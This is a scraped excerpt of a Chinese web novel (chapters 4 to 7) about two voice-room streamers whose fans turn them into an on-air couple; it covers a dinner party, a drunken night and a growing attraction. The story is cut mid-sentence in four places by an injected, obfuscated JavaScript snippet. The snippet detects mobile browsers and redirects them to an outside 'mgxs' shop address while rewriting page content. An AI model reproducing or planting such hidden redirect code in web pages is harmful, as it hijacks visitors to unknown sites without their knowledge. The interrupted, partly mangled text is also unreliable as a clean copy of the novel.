他一天就排两个小时的档,也就是三四首歌的时间,语音厅里不止他一个人,两三轮下来时间也差不多两个小时。 好在他现在有些粉丝在语音厅里给他刷礼物让他完成任务。 他粉丝在人群中很显眼,不知道从什么时候他直播间的粉丝们逐渐在名字后面加了一朵小雏菊花,有的在名字里加上花儿两个字,证明是他直播间的粉丝。 下班没多久,房门被敲响。 闵谌穿着拖鞋哒哒哒就去开门。 不出意外,李竹站在门口,单手插着兜,另一只手提着他的早餐和奶茶。 闵谌:“竹哥。” “嗯。” 李竹把东西给他,人还站在门口没动,脸上一副有话要说的样子。 闵谌好奇道:“竹哥还有什么事吗?” 李竹道:“晚上下播之后一起去聚餐?” 闵谌点点头,“好。” 此时此刻正好,闵谌的房间位置好,刚升起的太阳从微微敞开的落地窗溜进来,刚好把客厅给照亮,闵谌背对着光,太阳光线把他整个人照得发光发亮,连头发丝都散发着金光,脸上的小绒毛肉眼可见。 李竹面对着刺眼的光线也不想眨眼,有一瞬间他想把这个时候的闵谌藏进自己手机里,仅他一人可见。 “兄弟~我的好兄弟~竹啊~小竹竹~” 一道飘逸还诡异的声音打破这份短暂的美好。 李竹瞬间黑脸。 闵谌有点尴尬地笑笑,“竹哥再见。” 说完关上房门。 “兄弟——” 李竹:“......” 来人声音越来越近,李竹还站在闵谌房门口,一只手揽过他肩膀。 “看啥呢?” “陈嘉炽。” “咋?” “我其实忍你很久了,今晚国道互砍吧。” 陈嘉炽噔噔噔后退一米远,双手捂着心脏,一副痛彻心扉的模样,“哥们连夜回国,马不停蹄地赶回国内就是为了跟你见面,没想到刚见面没多久你叫我上国道互砍,你着实伤我的心啊,兄弟。” 李竹翻白眼:“滚犊子。” 陈嘉炽继续伤心道:“好吧,今夜我将离开,我枕头底下藏了一毛钱硬币,那是我最后的家产,我要把我最后的遗产留给你我的好兄弟。” 李竹嫌弃:“净给些没人要的玩意儿。” 李竹想了一会,咬牙抿嘴抬手拍拍陈嘉炽肩膀,“你真该庆幸现在是法治社会。” 说完,侧身离开,丝毫没打算理会在身后叫唤的陈嘉炽。 陈嘉炽与李竹是发小,两家父母从他们还是襁褓中的婴儿时就来往非常密切,等两人上幼儿园后天天在一起玩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483915|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起闯祸,一起睡觉,就差俩人不是一个妈生的了,其实没什么区别,两家父母是挚友。 两人一般一个人出主意,一个人负责行动,偶尔心血来潮位置调换一下。 长辈曾说他们还没出生那会想订娃娃亲,可惜生下来发现都是儿子,这个约定只能作罢。 直到两人大学毕业,陈嘉炽想和这个兄弟绝交的想法越来越强烈,直到现在两人几乎成了每天在国道见面的“对手”。 在不知不觉间一位二创老师剪辑的视频冲上蓝海直播视频区的推荐榜。 视频内容是昨晚发生的事,把闵谌拉李竹进局的那一帧开始,还配了个关于恋爱的bgm,视频二创还加了些可爱的字母和解读,视频标题十分吸引人。 [竹队:你负责当吉祥物就行,花儿:我也想帮竹哥出一份力。甜甜的cp又被我们磕到了,名门阁新cp“竹影摇花”就此诞生!] 晚上直播前闵谌看到自己粉丝涨到了三万时大为震惊,开始不知所措,觉得蓝海直播肯定出bug了,不然他怎么一个下午的功夫涨了那么多粉丝,这种事情发生在他身上简直有点难以置信。 他来来回回反反复复确认,是不是哪点出了问题,连客服都问了好几遍,找不出一丝问题。 抱着忐忑的心,闵谌开播了。 刚开播,直播间就涌入一堆人,礼物跟不要钱似的往直播间砸。 弹幕那些粉丝刷着奇奇怪怪的话,弹幕快到他看不清的程度。 [嫂子好。] [嫂子好。] [你是不是给竹队下了什么蛊?] [不确定再看看,这是我爱播的洗衣粉儿吗?] [竹影摇花好啊,竹影摇花。] [挤一挤挤一挤,竹队没开播,我来嫂子这里挤一挤。] 闵谌看不懂他们在说什么,眼睛一个劲往屏幕上凑,想要努力读懂弹幕的意思。 “什么嫂子?竹影摇花是什么意思?” [不用明白不用明白。] [嫂子是你呀。] [嫂子是你呀。] [嫂子是你呀。] 闵谌还是不理解,直到有弹幕让他去看视频区的推荐后他才明白。 当着直播间所有人的面看二创视频,甜蜜的bgm充斥着整个直播间。 [老铁树开花。] [铁观音开花。] [铁开花。] 看完整条视频闵谌的小脸通红。 昨晚直播确实有这些情况,但是也不像二创视频这样,剪的奇奇怪怪的。 哪就有粉红泡泡了。 “各位老师家的粉丝宝宝们,事情不是视频中这个样子,竹哥只是作为前辈对新人的照顾而已,大家不要带节奏了。”闵谌解释着。 [对对对,以前竹队照顾新人都是一句滚犊子的。] [社会主义兄弟情家人们。] [竹队好会照顾。] [建议花儿老师刷刷关于六夜竹的二创哦~] 直播间涌入的人越来越多,闵谌突然意识到一件事。 他的流量来了,还是靠着被粉丝们搭cp来的流量。 一瞬间被这破天的流量打了个措手不及。 组cp在语音厅叫做搭档,麦麸赚点流量。这不是闵谌擅长的领域,且不说其他,要是李竹对这件事情抗拒的话,这流量很快就会消失;如果不抗拒他也不知道怎么去经营这个搭档节目。 正焦头烂额,一条邀请连麦弹出来。 [M.六夜竹邀请你加入连麦,同意或拒绝。] 5. 第 5 章 闵谌此时此刻正好需要李竹,直播间场面有些失控,弹幕跟安装加速版传送带一样冒出来。 以前直播的时候,直播间最多也就一百多个人,再大的节奏也能稳住,现在不行,现在直播间人数是他没有想到的。 他想也没想就点下同意,两人刚连上线,直播间弹幕更加疯狂,大部分都在说竹影摇花这四个大字。 闵谌叫了声:“竹哥。” 声音听起来委委屈屈的,甚至还带了点颤音。 李竹电子皮套眉毛上挑,“吓着了?” 闵谌实话实说:“有点,我第一次遇见这种情况。” 李竹心里某个地方软了一块,“没事儿,我来就好了,有我在。” 闵谌电子皮套乖巧地点点头,“好。” 李竹看着直播间弹幕挑了几条回答,整个人游刃有余地跟粉丝们聊起天来,时而带带闷不做声的闵谌,还聊了一些关于闵谌来公司签约那天的事儿。 “本来以为花儿是个文文静静的男孩子,不过本人确实挺安静的,就是有时候你忍不住想用东西塞住他的嘴。” 弹幕: [花儿可可爱爱好吧。] [六夜竹你洗衣粉儿的嘴你都想塞?] [用什么塞,请你详细地展开说说。] [能私聊告诉我吗?] 李竹:“不太能,我怕他跟我生气。” 闵谌闻言反驳:“怎么可能会生你气,竹哥对我很好的。” 李竹:“不对你好对谁好。” 他干笑了几声,找了个借口:“竹哥帮忙代播一下,我去所里办点事。” 李竹:“行,去吧。” 闵谌闭麦坐在电脑前,对方声音传入耳中,他眨着大眼睛在心里回味这句话是什么意思。 电脑光亮照亮他整张脸,垂眸时下眼睑落下一小片阴影。 闵谌有多弯只有他自己知道,只是没想到直男的小招会这么直白,手指轻轻一勾,他能飞起来。 李竹怎么看都是个大直男,他想象不出来此男弯后会是什么样子。 就对方那大哥的气质,指定是个钢铁直男。 他用力拍了两下脸颊,在心里默念三遍: 李竹是直男,不要被直男的小把戏给戏弄了。 李竹是直男,不要被直男的小把戏给戏弄了。 李竹是直男,不要被直男的小把戏给戏弄了。 轻轻舒口气之后,他开麦故意弄出点小动静,提示对方自己已经回来并坐在电脑前。 李竹道:“回来了?” “对。”闵谌习惯问一嘴:“玩点什么?” 李竹看了眼时间,也快到下播的点了,“咱合唱首歌,唱完下播。” 闵谌:“行。” 最后闵谌找了首粤语歌。 两人声音很适配,也很适合唱粤语歌,毫无违和感。李竹的和声处理很细节,基本上到闵谌的部分时,李竹都在后面和声。 一曲完毕,弹幕全是祝99,甚至还有百年好合的。 闵谌说不上来什么感觉,头一次跟人合唱,而且很顺利,没出现任何问题。 李竹关掉混响,道:“你收拾一下,我这边弄好过来接你,9总他们刚给我电话说已经先过去了。” 闵谌道:“好。” 下播后闵谌挑了身衣服,找了副口罩揣进兜里,以防万一,毕竟合同上写着虚拟主播不准露脸,没写在哪能露脸。 他出门那一刻,对门的门开了。 李竹还特意抓了个造型,将头发全部拨到头后,额前留了几缕碎发,还戴着副黑色口罩。 李竹走过来揽住他肩膀,带着他往电梯走,“怎么不等我叫你?” 闵谌道:“怕竹哥久等。” 李竹啧啧两声,“还知道心疼哥。” 叮地一声,电梯到跟前,两人走进电梯按下一楼。 闵谌站在电梯三角区,是个十分安全的位置,李竹站在他身旁,手背贴着他的手背,能感受到对方的温度。 他的手温度比较低,被李竹的手背贴了一会儿,还挺暖和。 李竹一副欲言又止的模样,好似有话要说。 闵谌悄悄看了他一眼,然后转头盯着身旁倒影出自己模糊的脸。 “竹哥想说什么?” 李竹纠结半天,电梯到一楼才开口,“网上的事如果觉得为难不必当真,我说如果啊,是如果。” “嗯。” “如果你想当搭档也没问题,咱俩共进退,有问题一起面对这种,粉丝喜欢磕就让他们磕,现实生活中咱们还是朋友,你觉得怎么样?”李竹绕了一大圈,又觉得自己太着急,连忙改口道:“不行的话,明天直播我会解释......” 闵谌打断他:“我没有任何问题,我可以按照竹哥的意思来。” 李竹先是愣了一会,反应过来后嘴角上扬,“行。” - 抵达饭店门口。 还没走进就觉得这家饭店豪华,因为没有哪家普通饭店门口站着两男两女,都还穿着很正式的工作服。 两人站在门口,工作人员45°鞠躬做出一个请的手势,齐声道:“欢迎光临。” 闵谌张大嘴巴,看着金光闪闪的招牌忍不住发出一声感叹:“这么豪华。” 李竹抬手轻揉他脑袋:“我们经常来,习惯就好,走吧。” 闵谌默默闭上嘴巴,跟在身后。 这家饭店很大,感觉没有工作人员带着,他一个人能走丢。 工作人员带着他们走到贴着6688的门牌号包厢门口停下,为他们打开门。 门打开的一瞬间他就后悔了,想回公寓。 人很多,一张大桌只留了两个位置出来,个个胳膊挨着胳膊坐在一起,桌上摆满丰盛的晚餐,看卖相价格就非常昂贵。 这种饭店,他一辈子都不想进来。 在这吃饭,单单一道菜就能刷爆他信用卡。 李竹搂着他进去,刚坐下身旁就凑过来一张脸,他身体下意识往后仰,避免跟别人太过亲密。 此人长得不错,不过跟李竹比差了点,这张脸长得太阴柔,眼尾上挑是双风情的桃花眼,鼻梁两颗很对称的黑痣,乍一看除了阴柔还多了几分妖艳的感觉。 那人对着他笑,眼睛弯成带着尾巴的月牙,“小可爱,还记得我是谁吗?” 闵谌沉思片刻摇头,一脸抱歉道:“我们……见过吗?” 那人五官皱到一块,就在他以为对方会介绍自己的时候,他指着李竹抱怨道:“我说不出国不出国,现在好了,小可爱不记得我了吧。” 李竹白眼快翻上天去了,一巴掌兜住那人的脸往边上轻推,转头跟他介绍:“忘记了而已,他叫陈嘉炽以前是你们班的。” 闵谌点点头,“你也是我们班的吗?” 李竹怔了怔,“不是,我一直在国外读书。” 闵谌又点点头,一副懂了的模样。 陈嘉炽拍拍手,挨个介绍,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483916|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些人基本上都在直播间打过pk的同事。 陈嘉炽前脚介绍他们,闵谌后脚就忘了,只记得那些ID名,真名忘得一干二净。 他记性一直不是很好,高一下学期家里出了点事,父母为了救一个小孩,被一辆面包车撞死。 后来查出面包车司机因疲劳酒驾,再加上情绪上头,看见人一脚油门就冲上去,小孩没救成,父母却把自己的性命搭了进去。 再后来,他因为这件事发了一场高热,人完全处于崩溃边缘,没了生存的念头,整日住在医院里闷闷不乐,除了医生护士谁也不见。 可他突然有一天莫名其妙就痊愈了,开始像平时那样生活,只是生活中少了父母的身影,记忆力也开始下降,高考成绩不理想便选择进入社会摸爬滚打。 闵谌酒量不行,被压着喝了点酒,整个人还是晕乎乎的坐在那不吵不闹,专注地盯着酒杯中的液体。 “闵谌。” 闵谌听见有人叫他,立马抬头,双眼迷茫地看着前方,不知道谁在叫他。 “咱们再喝一杯,以后直播无聊了可以找哥们连线,打pk都行,你跟竹队要好好的。” 闵谌不知道对方在说什么,什么好好的,和谁好好的,但是他还是点了点头,大着舌头道:“谢谢祝福。” 李竹坐在一旁猛地转头看着身旁人。 “你说什么?” 这会闵谌听清声音来源,头没动,上半身几乎贴在李竹身上,“我说@#%&¥‖?......” 他越说越小声,最后直接整个人栽倒在李竹怀里,好在李竹手快,扶住了他,防止他被磕碰。 李竹:“......” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈!”陈嘉炽爆发出洪亮的笑声,学着李竹那天说的话:“19:36分我确认——” 李竹立即扬声制止:“陈嘉炽你滚啊。” 陈嘉炽做了个拉拉链的手势,又比了个OK,示意自己闭嘴。 皇子坐在角落原本还在跟身旁兄弟喝酒,听见动静看过来,看到闵谌倒在他们竹队怀里,脑中分分钟脑补了各种画面。 竹队把自己媳妇儿带进名门了,他们那天还合起伙来欺负闵谌,怪不得他们拉竹队组局的时候不来,闵谌一拉就来了,事后还跟他们玩二打八,让闵谌当吉祥物,难怪天天起个大早在楼下晃悠,口袋还鼓囊囊的。 所以网上的视频说的是真的。 闵谌真是竹队媳妇儿。 我靠,那不玩了么,以后日子还咋混啊。 皇子身旁的预制菜用手肘拐了一下他,两人脑袋凑着脑袋。 预制菜:“哥们,我觉得咱们以后完蛋了。” 皇子:“上次谁出的主意?” 两人抬头,看向坐在陈嘉炽身旁的西瓜皮,用眼神对骂。 皇子:“西瓜皮,你干的好事。” 西瓜皮:“我不知道啊,厅里来新人咱们不都要去玩一下么?” 预制菜:“咱哥几个踢到铁板了。” 假人加入眉飞色舞大军:“即将面临二考了家人们。” 直直:“完蛋咯。” 气球:“完蛋咯。” 噗噗:“完蛋咯。” 陈嘉炽注意到他们几个眉毛扭成蛆了,“这个月开会的时候你们直接上台扭呗。” 眉飞色舞七人组把头摇成拨浪鼓:“不不不,9总,哥几个八卦八卦。” 陈嘉炽来兴趣了,小声道:“那我也听听。” 6. 第 6 章 闵谌是被李竹抱回去的。 八九个大老爷们肩膀搭着肩膀站在马路边上,嘴里还唱着奇奇怪怪的音乐,再加上喝了点酒更加听不懂他们在唱什么。 全场唯一清醒的人是李竹,李竹扶着闵谌要先把其他人送回去,之后叫个代驾一起走,身体的另一边歪歪扭扭站着噗噗,噗噗脑袋垂着,嘴巴还在叽里咕噜跟唱,总而言之谁的歌声都不在调上。 边唱边往李竹身上靠。 李竹本来搂着闵谌,心里别提多高兴了,身边再来个抠脚大汉。 李竹十分嫌弃地兜着噗噗脑袋往预制菜身上推,“滚边儿去,别靠我。” 噗噗抬起头,眼神迷离不知道在看哪,张着嘴:“啊?” “滚边儿的。” 一帮人在路边东倒西歪闹了一个多小时,李竹才挨个把他们送上车,回来看见闵谌蹲在路灯底下,脑袋埋在膝盖处,安安静静的像只等待主人带他回家的小猫,可怜又可爱。 李竹走到他身边以同样的姿势蹲下歪头看他,声音放轻:“回家了,花儿。” 闵谌闻声猛地抬头,动作幅度太大,下盘不稳一瞬间往后仰,来了个天狗食月的动作。 李竹那一瞬间心跳到了嗓子眼儿,身体比脑子先做出反应,伸手把人捞进怀里,但他自己下盘也不稳,这一系列动作下来,他也跟着往后摔。 后背砸在冰冷的地面,两个成年人的重量,在没有缓冲的情况下疼得他闷哼出声。 他缓了缓,闵谌趴在他怀里,脑袋往他胸口蹭了几下。 “呼。”他长长地舒了口气。 A市夜晚的星空十分漂亮,漫天星空,其中一颗闪烁着光芒,好像他心跳一般猛烈。 不知躺了多久,直到饭店工作人员实在看不下去问了几句是否需要帮助后,他才慢悠悠抱着闵谌站起来。 闵谌毫无意识,站起来腿脚发软,差点出溜再次倒地,他弯腰抄起膝弯把人抱着离开,离开前还跟工作人员说没事。 闵谌还能撑到车上,在车屁股后边吐了一轮,吐完神清气爽,紧接着在李竹脚边又吐了第二轮。 李竹觉得无奈又好笑,一点脾气也没有帮人收拾,左手纸巾右手矿泉水蹲在边上也不觉得埋汰。 等闵谌吐完,他伸手为闵谌擦去嘴边的污秽,擦干净又抽出第二张继续擦。 手刚伸过去,纸张碰到闵谌嘴唇,闵谌歪了歪脑袋,柔软的嘴唇碰到他手腕,那人有意无意地在他手腕上嘬了几口。 李竹浑身僵硬,一动不动,仿佛整个人被定格了似的。 脑子里无数个好的坏的想法飘过,都被他狠狠压住,一星半点也不让溢出。 闵谌又在他手上亲了几口,口水都给亲出来了,手腕上湿哒哒的。 李竹大手捏住闵谌脸颊,导致他脸颊两边肉挤在一起,嘴巴嘟着,然后闵谌哼哼唧唧的,想亲亲不到,抬起软绵绵的手去扒拉李竹的手,半天也扒拉不动。 李竹咬牙道:“闵谌。” 闵谌含糊哼出声。 李竹:“你喝醉哪来的破习惯?” 这会闵谌好像听懂了,嘟着嘴大舌头道:“不知道。” 李竹气笑了,舌头舔了下后槽牙:“喝不了还一杯接一杯喝,什么破毛病。” 他一边吐槽一边把人抱起来塞进车里,自己也跟着坐进后座,找了个代驾回公寓。 - 闵谌第二天醒来整个人是懵的,头疼,脖子也跟着疼,从床上爬起来都费劲,在床上费劲半天爬起来跟头牛一样往嘴里灌了大半瓶水。 对于昨晚酒后的事,忘得一干二净,怎么回家的,中途发生了什么一概不知,只看见电脑桌旁放着杯水。 刚喝大半瓶水确实喝不下其他的了,但是他还是尝了一小口,甜的,有股淡淡的蜂蜜水味。 喝完又去找手机,想问问昨晚谁送他回来的,一打开手机就是李竹的消息。 一条语音凌晨三点。 [麻瓜:起来喝点蜂蜜水儿,我回去了,不舒服给我打电话,晚安。] 他第一次发现,离了声卡李竹的声音居然这么好听。 反复点开听好几遍。 连自己嘴角上扬都不知道。 闵谌中午直播,扣排扣不上,扣排群里的同事个个恍若键盘侠上身,还没等他发出去,群里一堆消息刷上去,没等他点下回车键,管理已经选好上麦序的人员。 每隔一个小时他就扣一次,次次扣不上牌,只能绝望地闭上眼。 [啥情况?] [嫂子咋了?] [我听着一直在敲键盘。] [笑死了,我从噗噗那来的。] [哈哈哈哈哈哈哈哈哈。] [花儿一次排都没扣上,好搞笑哈哈哈哈哈哈哈。] [之前听预制菜说他们扣排都卡点扣的,哈哈哈哈哈哈哈,跟这群人比,花儿手速还得练啊。] 闵谌看到弹幕捂着脸笑出声来。 [他是不是疯了?] [笑啥?] [?] [不会扣不上真疯了吧?] 又等了一个小时,刚跳59分的时候,闵谌“啪”一下按下回车键,成功扣上排。 等了这么长时间终于扣上排,闵谌火急火燎地道:“哥姐们下播了,我先去厅里上班,下班回来再播。” 不等弹幕反应过来,屏幕就显示:[该主播休息啦~] 反应过来后,粉丝们纷纷转战名门语音厅。 [?] [第一次见上班这么积极的。] [漂亮花儿比生产队的驴还勤奋。] [改名吧,叫M.生产队的驴。] 语音厅其他同事在唱歌,他只能发弹幕回应粉丝。 [M.漂亮花儿:嘘/不讲不讲。] [不讲不讲。] [不讲不讲。] 其他同事开团秒跟。 [M.噗噗:不讲不讲。] [M.假人:不讲不讲。] [M.预制菜:不讲不讲。] [M.西瓜皮:不讲不讲。] [M.直直:不讲不讲。] [M.气球:不讲不讲。] [M.皇子:不讲不讲。] [M.妹妹哥:不讲不讲。] 李竹突然冒出来,跟队形。 [M.六夜竹:不讲不讲。] 这时候闵谌才注意到李竹在麦上,他进来时太着急,完全忘了去看麦上有谁在。 李竹是这个档的主持,其他人没唱完之前基本上不会开口讲话,除了厅里要整活。 所有人轮番唱一遍后,李竹终于开麦了。 “现在是咱们的主题档,咱们整点活儿,至于整什么活儿,我把转盘拿出来转转,管理说了随便我们怎么搞,别把厅搞没了就成。” 说着,语音厅大屏幕上出现一个转盘,上面写满了密密麻麻的主题,鼠标在上点了一下,转盘开始转,最后箭头停在了dj那栏上。 “行。”李竹压低声音,“欢迎来到名门dj专场,异域风情摇摆至上,几个老哥们开始展示才艺。” dj歌曲的旋律一出来闵谌觉得整个脑袋要炸了,感觉昨晚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483917|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒现在又开始冲上大脑控制脑神经,耳机里面嗡嗡吵,有种耳膜被震碎的错觉。 语音厅里所有人都开麦,你唱一句我唱一句,轮到闵谌,他不会,跟着旋律喊了一句,还挺有节奏。 “我不会!” 语音厅顿时爆发出一阵笑和起哄声。 M.妹妹哥喊:“二考啊二考,这个绝对要二考。” M.假人附和:“必须二考,不能因为是洗衣粉儿就放整个太平洋。” 李竹跟着他们笑,声音闷闷的,闵谌再次感受到低音炮的诱惑力,还是这么让人腿软的程度。 此时不知道从哪传来陈嘉炽的声音:“这语音厅里就我一个直男。” 弹幕: [吹牛。] [二创见9总。] [9总发个视频证明自己是直男。] 陈嘉炽道:“不发。” M.皇子道:“9总上麦了?” M.气球道:“9总在竹队那儿。” 陈嘉炽道:“嗯呐,我有事跟他商量。” 李竹道:“滚,有事儿也等我忙完的。” 大家在语音厅里闹了好一阵,语音厅热度疯狂上涨,本来只有两千来个人待在语音厅,一整活瞬间上万。 下班前闵谌跟粉丝们交代了一下晚上播,嗓子有点累需要休息休息。 粉丝体谅他,让他先去休息,晚上嗓子不舒服就不用播了,他们自己会往六夜竹那跑,叫他赶紧下班。 闵谌十分听话,连拜拜都没说就退出语音厅。 下班第一时间闵谌又给自己灌了一大瓶水,发干的嗓子得到滋润后摸出手机给李竹发消息。 [超绝声线:谢谢竹哥昨天送我回来,我没闹腾吧?可爱微笑/] 李竹秒回。 [麻瓜:?] [麻瓜:断片儿了?] [超绝声线:我喝酒容易断片……] 这次李竹没有秒回,闵谌等了两分钟,还是没有收到下一条消息,估计在忙。 放下手机,他立即钻进被窝补觉,从开始上班他就一直觉得很困,眼睛发酸,脖子总感觉有凉风吹过,哪哪都不舒服。 正好下班补觉,一觉睡到晚上更好,刚好能直播。 迷糊间,放在枕头边上的手机响了两声,他强撑着睡意打开看一眼。 [对方撤回一条消息。] [麻瓜:下次少喝点儿。] 大脑读完消息,人彻底睡死过去。 手机界面一直停留在与李竹聊天界面。 李竹这边也一直盯着手机,原本显示“超绝声线”的地方变成了“对方正在输入中……” 对方正在输入显示了多久,李竹就盯着手机看了多久,直播回答全都牛头不对马嘴,气得对面连麦pk的直播直接把人踹走。 弹幕一堆问号。 [你洗衣服儿不在就这么魂不守舍?] [pk都不打了?] [M.六夜竹当望妻石呢。] 李竹放下手机抬头就看见最后一条弹幕刷过,“什么玩意儿?什么望妻石?我俩就住对门,他昨天喝多了,我怕他不舒服问问情况。” [???] [????] [不是哥们,谁问了?] [我说白了,谁问你了?] [也是让你谈上好的了。] [我想听细节。对手指噘嘴/] [加一。] [加一。] [蒸煮这大勺一抡我们这群磕cp的就吃上了。] [大馋丫头们开饭啦!] 7. 第 7 章 闵谌晚上还是不舒服,醒来感觉从头到脚都处于一种懵逼状态。 躺在床上摸到手机,摁了几下,显示电量不足,又给手机充电,突然之间感到肚子空落落的,才想起来今天一整天只喝了水,其他什么也没吃,肚子空了整天。 人是一个奇怪的生物,当有人对你好时下意识会觉得别人想从你身上得到什么或者想让你帮忙,当发现那人只是照顾你后,你会坦然接受。 别人一旦不再给你带吃的喝的,不再像初见那般对待你,你会不习惯,还会在心底里觉得这是理所应当的。 很奇怪。 他想远离李竹。 电话铃声传来,他踩着拖鞋没看是谁便接了电话。 李竹声音响起:“我给你买了粥和一些比较开胃的小吃,给我留门,三分钟就到。” 不给他任何说话的机会,电话直接被挂掉。 闵谌小脸皱成包子,这人怎么会有他号码? 之前也打过,那时候没反应过来,现在想想他刚来那会是李竹一路带着他签合同,该看的都已经看到了。 好像没什么好奇怪的。 他给李竹留门,自己窝在床上脑袋挂在床边,眼睛一眨不眨地盯着卧室门。 没一会,客厅先是传来窸窸窣窣地声响,然后是脚步声,下一刻李竹出现在他眼前。 两人视线相对,闵谌刘海翘起来露出光滑饱满的额头。 他发现李竹从这个角度看也是个超绝颜值。 李竹站在门口看他,不理解他这是什么行为,眉头蹙在一起,“起来,待会充血难受。” 闵谌乖巧下床,慢吞吞抓了抓乱糟糟的额前发,把额头遮住。 李竹看他一眼,迅速撇开视线,朝着客厅走道:“赶紧出来吃,凉了可别上直播间说我给你吃冷饭。” “不会。”闵谌穿鞋,拖鞋哒哒哒跟在李竹身后:“竹哥对我很好,所以我不会说你坏话。” 李竹从鼻子里嗯了声。 闵谌蹲在茶几边上小口小口地喝粥,眼睛时不时瞄一眼李竹。 李竹低头回消息,手指在屏幕上点来点去,从单手到双手,每次敲击屏幕他都会感觉到下一秒李竹会爆发。 他继续垂眸喝粥,等了半天也没等到李竹吭声,他却忍不住了。 “竹哥。” “嗯?” “你和9总是朋友吗?” “嗯呐。”李竹道:“我俩发小,有记忆起就黏一块,咋得?” 闵谌把脸埋碗里,发出吸溜声。 李竹闻声连手机也不玩了,抱臂左脚搭右脚膝盖上,后背靠着沙发,一副老大哥模样。 “我发现你吃东西老这样式儿呢。” 闵谌懵懂抬头,嘴角还残留着白米粒,“啊?我喜欢这样,别人看着我吃会觉得我吃饭香,竹哥你觉得我吃饭香吗?” 李竹:“还行。” 两人开启你问我答模式。 闵谌:“你也这样吃饭吗?” 李竹:“不。” “那你烦我这样吃吗?” “吃啥?” “吃东西呀。” “不烦,但是我讨厌有人吃饭吧唧嘴。” “为什么?” “很烦。” “为什么烦?” “……” 起初李竹还很耐心回答问题,闵谌步步紧追,最后开始上演“他逃他追,他插翅难飞”的戏码,问得李竹满头大汗口齿不清。 李竹深深叹了口气,抽了张抽纸细心地为闵谌擦嘴,然后一下捏住闵谌上下嘴皮子。 “行了,哥脾气不好,这已经是我最大的让步了,别问了行么?” 闵谌哼哼两声。 “什么?” 闵谌嘴被捏住发不出完整的声音,便退而求其次选择点头。 李竹回去的时候跟陈嘉炽发消息。 [麻瓜:我头一次发现闵谌是个人机。] [秃头哥:何解?] [麻瓜:问了我二十来分钟问题。] [秃头哥:哈哈哈哈哈哈哈哈哈哈哈。] [秃头哥:沧海大笑.jpg] 闵谌人不怎么舒服,李竹走了之后没人跟他聊天,自己偷摸刷视频,刷了一会觉得没意思,点开搜索关于M.六夜竹的词条。 看了大概,几乎都是特别逗的内容,十个有八个都是笑料,其中两个掺杂着李竹生气骂人,主动缴罚款和跟直播间串子对骂。 一分半的视频,几乎被毙掉了三分之二的时间。 看来李竹确实脾气不好,以后少问问题。 闵谌手机无意间往下滑,一条开头是很古早的视频出现,屏幕里出现李竹和陈嘉炽的皮套,还有两个人是其他语音厅的主播。 那会直播间没多少人,最多就一两百,两人打pk输了,惩罚李竹跟陈嘉炽表白。 李竹拒绝:“不行,这事儿我干不了,我俩真炒不了cp,太熟悉了,我怕他开口,我忍不住大嘴巴子抽他。” 陈嘉炽不甘示弱回击:“指不定谁抽谁呢,我左手抓你脑袋,右手狂扇你嘴巴子。” 粉丝戏称两人国道兄弟情。 那两人让李竹和陈嘉炽发誓,说他们自己是直男。 “我是直男六夜竹。” “我是直男9527。” 视频画面一转,先飘出一首卡点爆笑的BGM,循环回放两人的话,先是李竹的。 “我是直男六夜竹。” “什么望妻石?我俩就住对门。” “我是直男六夜竹。” “他昨天喝多了,我怕他不舒服问问情况。” “我是直男六夜竹。” 再是陈嘉炽的。 “我是直男9527。” “兄弟我笔直,你别搞我。” “我是直男9527。” “兄弟,刷两个贵的,改天你来A市我俩打个啵。” “我是直男9527。” “忙着弯呢,没事别找我行么兄弟?你看看六夜竹深柜谢谢。” 视频结尾是一条粉红色横幅:大哥不要说二哥,语音厅里没有直男! 闵谌躲在被窝里看,看完感觉浑身不对劲,莫名其妙发热,还给那条视频点了赞。 李竹深不深柜他不知道,他只知道自己要变成一个火人了。 他掀开被子透透气,把身上热气都散出去,待差不多了又继续刷,越刷越鬼畜,基本上全是李竹跟陈嘉炽凡尔赛的视频。 无意间点到评论区,一条置顶评论乍一出现。 [我发现考古六夜竹百分之八十都有9527。] [六夜竹抽四模肯.jpg] 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483918|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 